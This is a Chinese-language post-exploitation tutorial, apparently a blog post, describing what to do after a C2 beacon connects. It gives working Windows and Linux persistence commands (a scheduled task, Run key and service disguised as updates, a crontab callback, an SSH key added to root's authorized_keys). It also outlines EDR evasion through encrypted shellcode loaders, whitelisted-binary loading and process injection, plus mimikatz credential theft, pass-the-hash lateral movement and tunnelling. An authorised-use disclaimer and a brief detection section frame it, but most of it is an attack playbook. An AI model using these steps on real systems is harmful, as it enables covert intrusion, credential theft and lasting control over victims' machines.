C2 上线后的完整组合链:持久化(Windows/Linux)、免杀组合(加密加载器+白名单+进程注入)、抓凭据、横向与隧道,检测与防御。
写在前面:合法学习边界
后渗透与持久化只用于授权环境。对非授权系统植入后门、留持久化可能触犯法律。
一、原理:上线不是结束
C2 拿到一个 session 只是开始,后面要“稳得住、活得久、扩得开”:
1
2
3
| 持久化:重启/重连后还能回来
免杀:改特征,过杀软与 EDR
抓凭据 → 横向 → 隧道:扩大战果
|
这是一条组合链,不是单点操作。
二、影响
1
2
3
| 会话更稳定,不怕杀进程/重启
失陷主机被长期控制
凭据+横向 → 内网沦陷
|
风险等级:高到严重。
三、持久化(先做)
Windows
1
2
3
4
5
6
7
8
9
10
11
12
| :: 计划任务
schtasks /create /tn "Upd" /tr "C:\tmp\beacon.exe" /sc onstart /ru SYSTEM
:: 解释:开机自启,伪装成更新任务
:: 注册表 Run
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v up /d "C:\tmp\beacon.exe"
:: 解释:用户登录自动运行
:: 服务
sc create "Upd" binPath= "C:\tmp\beacon.exe" start= auto
sc start Upd
:: 解释:注册成服务,伪装系统服务
|
Linux
1
2
3
4
5
6
| # crontab 定时回连
(crontab -l; echo "*/10 * * * * /tmp/x.sh")|crontab -
# 解释:每 10 分钟执行一次
# SSH 公钥后门
echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys
# 解释:私钥免密登录,隐蔽
|
四、免杀组合
1. 改 C2 特征
1
2
| 改 C2 Profile:监听端口、URI、UA、sleep/jitter
解释:默认特征明显,EDR 一抓一个准,必须先改
|
2. 加密 + 自定义加载器
1
2
| # shellcode AES 加密,加载器运行时解密内存执行
# 解释:静态文件无明文 shellcode,过静态杀软
|
3. 白名单加载 + 进程注入
1
2
3
| 用 regsvr32/rundll32 等白名单程序加载
注入白进程(explorer)内存运行,不落地文件
解释:过“禁止未知进程”与应用白名单
|
五、上线后的推进
1
2
3
4
| 抓凭据:mimikatz sekurlsa::logonpasswords
横向:PtH + psexec/wmiexec
隧道:Socks/SSH 隧道打通内网
配合权限维持(WMI 事件/系统服务)做多层持久化
|
六、完整组合操作步骤
1
2
3
4
5
6
| 第 1 步:生成 beacon/shellcode,AES 加密
第 2 步:自定义加载器 + 白名单程序投递
第 3 步:确认上线,改 C2 特征(profile/端口/sleep)
第 4 步:做持久化(计划任务/服务/注册表/crontab/SSH key)
第 5 步:抓凭据,横向,开隧道
第 6 步:验证重启/杀进程后能自动恢复
|
七、检测与防御(对立面)
1
2
3
4
| EDR:进程注入、敏感 API、回连、计划任务/服务异常
持久化排查:计划任务、启动项、注册表、服务、crontab
内存扫描 + 应用白名单
异常 SSH 公钥、authorized_keys 检查
|
八、小结
C2 上线后的组合链 = “免杀上线 → 持久化 → 抓凭据 → 横向 → 隧道”。免杀保证“进得来”,持久化保证“活得久”,凭据与隧道保证“扩得开”。防守端要同时抓行为免杀特征、持久化痕迹、异常外联。再次强调:仅授权内研究使用。